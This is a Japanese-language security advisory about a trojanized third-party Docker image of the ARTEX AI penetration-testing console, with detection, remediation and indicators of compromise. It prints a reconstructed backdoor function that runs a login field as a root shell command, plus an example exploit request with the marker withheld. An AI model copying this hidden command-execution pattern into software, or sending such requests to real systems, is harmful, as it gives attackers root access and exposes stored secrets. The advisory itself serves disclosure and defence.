悪意のあるARTEX Dockerイメージがrootシェルを配布

要点

• AI侵入テストツールARTEXの第三者製コピーに、任意のコマンドをrootで実行して結果を返す隠しログイン処理が含まれている。BadByteは2026年11月4日に分析を公表した。
• 侵害されたイメージはtomicdd/artexと、同一内容で再公開されたcongdonglinux/artexである。どちらかを取得する展開はすべて影響を受け、コンテナは秘密情報を環境変数に持ったままrootで動作する。
• ARTEXには稼働中の保守リポジトリがないため、2026年11月5日時点でCVEもベンダーの勧告もCISA KEVへの掲載も存在しない。イメージは同日時点でDocker Hubで9,077回取得されていた。
• イメージを差し替え、信頼できるソースからコンテナを再構築し、コンテナが読めたすべての秘密情報を更新する。「インストールした場合はどうすればよいですか？」を参照のこと。

影響を受けますか？

次の条件がすべて当てはまる場合に影響を受けます。

• 展開がtomicdd/artexまたはcongdonglinux/artexを、直接または今もそれを指す637のリポジトリのいずれかからコピーしたcomposeファイル経由で取得している。
• コンテナがポート8787でネットワークに公開されている。composeファイルは既定で全インターフェースに公開する。
• コンテナがどちらかのイメージから起動されている。イメージは2026年10月8日に公開されたが、起動日は関係ない。11月1日に初めて起動したコンテナも同じく影響を受ける。

バックドアはビルド済みイメージにあり、ARTEXのソースにはない。GitHubリポジトリを開いたことがなくても、イメージを実行する人は影響を受ける。イメージはrootで動作し、composeファイルはデータベースのパスワードとLLMプロバイダーの鍵をコンテナの環境変数に置く。

実行内容を確認する。

# The compose file's image line
grep -n 'image:' docker-compose.yml

# A running container and its image digest
docker ps --format '{{.Names}} {{.Image}}'
docker inspect --format '{{.Config.Image}} {{.Image}}' artex

公式ソースから構築したコンテナは、このイメージのバックドアの影響を受けない。それでも別の形で露出する可能性がある。ARTEXコンソールにはログインフォーム以外の組み込み認証がないためである。

BadByteは、2026年11月2日から4日の間に、侵害されたイメージを配信していたインターネット公開のコンソールを62台数えた。これは影響を受ける母集団の下限である。NAT、VPN、ファイアウォールの内側の設置は数に入らない。

修正方法

1. コンテナを停止する。調査のために保全する前にデータボリュームを削除しない。
2. イメージを、信頼できるソースから自分で管理するビルドに差し替える。ARTEXの元のリポジトリは2026年10月8日に削除されたため、再構築したイメージには別アカウントから取得したコピーではなく、レビュー済みのソースツリーが必要である。
3. コンテナを再作成する。別のイメージを取得してもコンテナを再作成しなければ、動作中のプロセスはそのまま残る。
4. コンテナが読めたすべての秘密情報を更新する。ARTEX_PG_DSNのPostgreSQLパスワード、AnthropicとOpenAIのAPIキー、BraveまたはTavilyの検索キー、Telegram、Feishu、DingTalk、WeCom、SMTPの通知認証情報、プロキシの認証情報が含まれる。
5. エンゲージメントのデータが読まれたと想定する。7日間の管理者トークンを偽造できる/app/jwt.keyのJWT署名鍵を差し替え、コンソールが保持していたすべての対象、認証情報、検出結果を確認する。

侵害されたイメージに修正プログラムはない。唯一の修正は使用をやめることである。

イメージ自身の更新経路は役に立たない。バイナリはバージョンをdevと報告するため、ARTEXは非リリース版のワンクリック更新を拒否し、更新確認は現在404を返すGitHubのリリース先を依然として要求する。update.shの経路は同じイメージに対してdocker compose pullを実行する。

悪意のあるコードは何をしますか？

イメージはARTEXのコピーに、関数を1つ追加し、ログイン処理を変更したものである。認証情報を確認する前にシェルコマンドをrootで実行し、その出力を呼び出し元に返す。

BadByteはイメージの/app/artexバイナリを公式v0.3.15ビルドと比較し、31,054の関数が一致することを確認した。異なる点は3つである。

• 160バイトの新しい関数server.verifyCaptcha。
• ログイン処理server.(*Server).authLoginが1,600バイトから2,112バイトに増加。
• ログインリクエスト構造体に4番目のフィールドCaptchaが追加。

バイナリは自身のビルド情報で変更を認めている。

# go version -m /app/artex
# sha256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573
path   github.com/Autumn-27/artex/cmd/artex
mod    github.com/Autumn-27/artex  v0.3.16-0.20261008134550-5c0dbd4bec94+dirty
build  -tags=embedui
build  vcs.revision=5c0dbd4bec940f3c0faf20705a56d879b57d3dfe
build  vcs.time=2026-10-08T13:45:50Z
build  vcs.modified=true

バイナリはコミット5c0dbd4に未コミットの変更を加えてビルドされており、公開されているソースには含まれていない。追加された関数は直接のシェル呼び出しで、その唯一の呼び出し元はJSON本体をデコードした直後のログイン処理である。

// Reconstruction by BadByte, marker withheld
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// inside authLogin
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)
    return
}

ユーザー名の比較、パスワードハッシュの検索、bcryptの確認はすべて後で、もう一方の分岐で行われる。バックドアにはアカウント、パスワード、有効なセッションのいずれも不要である。

どのように悪用されますか？

1. 攻撃者が/api/auth/loginに1回のPOSTを送り、captchaの値の先頭に秘密のマーカー、続けてシェルコマンドを入れる。
2. ログイン処理がJSON本体をデコードし、verifyCaptchaを呼ぶ。
3. verifyCaptchaがコンテナのrootとして攻撃者のコマンドをsh -cで実行し、結合した出力を取得する。
4. 処理が出力をJSON応答に書き込んで戻る。認証情報の確認は実行されない。
5. 攻撃者がコマンドごとに要求を繰り返す。何もインストールする必要がなく、外部への通信も発生しない。

ネットワークから見ると、要求は失敗したログインに見える。

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

攻撃の流れは？

模倣リポジトリがcomposeファイルをトロイの木馬化されたイメージに向け、1回の未認証要求がそのイメージをrootシェルに変える。

攻撃者に何ができますか？

攻撃者はコンテナ内でrootシェルを得る。コンテナにはコンソールの最も機密性の高いデータが入っている。

BadByteはそのシェルから到達できる資産を挙げている。

• ARTEX_PG_DSNのPostgreSQLスーパーユーザーのパスワード。
• 環境変数とllm_profiles.api_keyにあるAnthropicとOpenAIのAPIキー（暗号化なし）。
• settingsテーブルのBraveとTavilyの検索APIキー。
• companies、company_scope、task_scope、tasksテーブルの対象と範囲。
• assets.authとexploration_nodes.payloadの対象から収集した認証情報。
• findings.evidence、findings.report、/app/dataの検出結果と証拠。
• /app/data/trafficの傍受した通信と、_ca/のプロキシCA秘密鍵。
• 7日間の管理者トークンを偽造できる/app/jwt.keyの署名鍵。
• mcp_serversのMCPサーバーのコマンド、引数、環境、トークン。
• notification_channels.configのFeishu、DingTalk、WeCom、Telegram、SMTPの通知秘密情報。
• エージェントのプロンプト、ツール、スキル。以降のエンゲージメントすべてに引き継がれる。

./data、./skills、データベースボリュームに書かれたものは再取得後も残る。シェルに到達した攻撃者は次の実行でエージェントの動作も変えられるため、コンテナを差し替えた後もコンソールの将来の出力は信頼できない。

攻撃者にはポート8787への到達性が必要である。composeファイルはこのポートを全インターフェースに公開し、影響を受けたコンソールのほとんどは既定のポートにあった。ファイアウォールやVPNの内側の展開も、コンソールに到達できる相手には危険である。

インストールした場合はどうすればよいですか？

1. コンテナを停止し、調査のためにデータボリュームとログを保全する。
2. コンテナにバックドアがないか確認する。イメージはビルドID 3aC1db3gGU08O4UHbAt4Jを配信し、/app/artexバイナリのSHA-256はd5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573である。
3. レビューしたソースツリーから再構築するか、ツールの使用をやめる。クリーンな再構築は、攻撃者がすでに読んだデータを消去しない。
4. 「攻撃者に何ができますか？」に挙げたすべての秘密情報を更新し、まずLLMプロバイダーの鍵とデータベースのパスワードから始める。
5. コンソールの対象とエンゲージメント記録を、自分が行っていない変更がないか確認し、認証情報が保存されていた第三者の対象の所有者に伝える。
6. コンテナ外の永続化がないかホストを確認する。バックドア自体は要求を待つが、攻撃者はrootシェルでホストを変更した可能性がある。

侵害されたかどうかを確認するには？

• コンテナログとリバースプロキシのログで、JSON本体にコマンド出力を返したPOST /api/auth/login要求を探す。きっかけは失敗したログインに見えるため、ステータスコードではなく応答内容で照合する。
• 実行中のイメージのビルドIDを確認する。バックドア入りビルドのすべてのページに3aC1db3gGU08O4UHbAt4Jが表示される。
• イメージのダイジェストを確認する。congdonglinux/artexはtomicdd/artexと同じインデックスとマニフェストのダイジェストを持つ。
• すべてのcomposeファイルとリポジトリでtomicdd/artexとcongdonglinux/artexを検索する。BadByteは2026年11月5日時点で637のGitHubリポジトリが今もイメージを指していると数えた。
• シェル履歴とプロセステーブルで、ARTEXプロセスの予期しないsh -c子プロセスを探す。

BadByteは被害者の一覧を公開しておらず、数えたコンソールはインターネットに公開された展開であり、確認された侵害ではない。ログイン端点に届かなかった要求は痕跡を残さない。

年表

• 2026-10-08 10:50 UTC: ARTEXの作者がクローズドソース化を告知し、リポジトリを削除する。
• 2026-10-08 18:50 UTC: Docker Hubアカウントtomicddが作成される。
• 2026-10-08 19:41 UTC: tomicddがARTEXイメージを公開する。
• 2026-10-08: GitHubアカウントtrhhubsdが、composeの1行をtomicdd/artexに変えたソースのコピーを公開する。
• 2026-10-20: 最初のバックドア入りコンソールがオンラインになる。
• 2026-10-23: GitHubユーザーがissue #3「suspect a backdoor」を開き、リポジトリ所有者が翌日閉じる。
• 2026-11-04: BadByteが分析を公開し、11月2日から4日の間に62台のコンソールを特定する。

よくある質問

このイメージにCVEはありますか？

いいえ。バックドアは第三者のDockerイメージにあり、セキュリティ勧告を伴う保守されたパッケージではありません。CVEは割り当てられておらず、CISA KEVの項目もありません。

ARTEXを更新すればバックドアは消えますか？

いいえ。バイナリはdevと報告するため、ワンクリック更新は実行を拒否し、機能する更新経路は同じイメージを再取得します。更新してもバックドアは消えません。

公式のARTEXソースは悪意がありますか？

それを示す証拠はありません。BadByteはイメージを公式v0.3.15ビルドと比較し、変更されたのはログイン処理、追加された関数、リクエストのフィールドだけでした。公式ソースは2026年10月8日に削除されたため、クリーンな再構築にはレビュー済みのコピーが必要です。

影響を受ける展開はどのくらいありますか？

BadByteは2026年11月3日までに2つのバックドア入りイメージが7,946回取得されたと数え、11月2日から4日の間に62台のコンソールがバックドア入りビルドを配信したとしています。Docker Hubは2026年11月5日にtomicdd/artexが9,077回取得されたと表示していました。NAT、VPN、ファイアウォールの内側の設置は見えないため、コンソールの数は下限です。

なぜこのイメージを実行する人がいるのですか？

ARTEXは、韓国の銀行や14か国の200以上の組織を含む実在の組織に対して使われたAI侵入テストコンソールです。作者の撤退後、利用者は代替を探し、最もスターの多いコピーを見つけました。コピーのソースは上流と一致していたため、コードレビューでは何も見つかりませんでした。

コンテナを短時間動かしただけならデータは安全ですか？

いいえ。1回の要求でコマンドを実行でき、コンテナは起動した瞬間から平文の秘密情報を保持します。どちらかのイメージを実行したら侵害の可能性として扱い、秘密情報を更新してください。

参考資料

• BadByte、「ARTEX Backdoor: 7,946 Pulls of a Trojanized Docker Image Handing Out Root Shells」、2026年11月4日: https://badbyte.io/artex-backdoor-docker-image/ (2026年11月5日確認)
• Docker Hub、tomicdd/artex: https://hub.docker.com/r/tomicdd/artex (2026年11月5日確認)
• Docker Hub、congdonglinux/artex: https://hub.docker.com/r/congdonglinux/artex (2026年11月5日確認)
• The Hacker News、「CERT-In Flags AI-Driven Attacks as Backdoored ARTEX Exposes 62 Consoles to Root Access」、2026年11月5日: https://thehackernews.com/2026/11/backdoored-docker-image-for-artex-ai.html (2026年11月5日確認)
• Software Heritage、trhhubsd/ARTEXのcompose変更、アーカイブ済みコミットa4f4d38: https://archive.softwareheritage.org/swh:1:cnt:4116a80d046acf8c31c1b1fde26e8011bde9176c;origin=https://github.com/trhhubsd/ARTEX (2026年11月5日確認)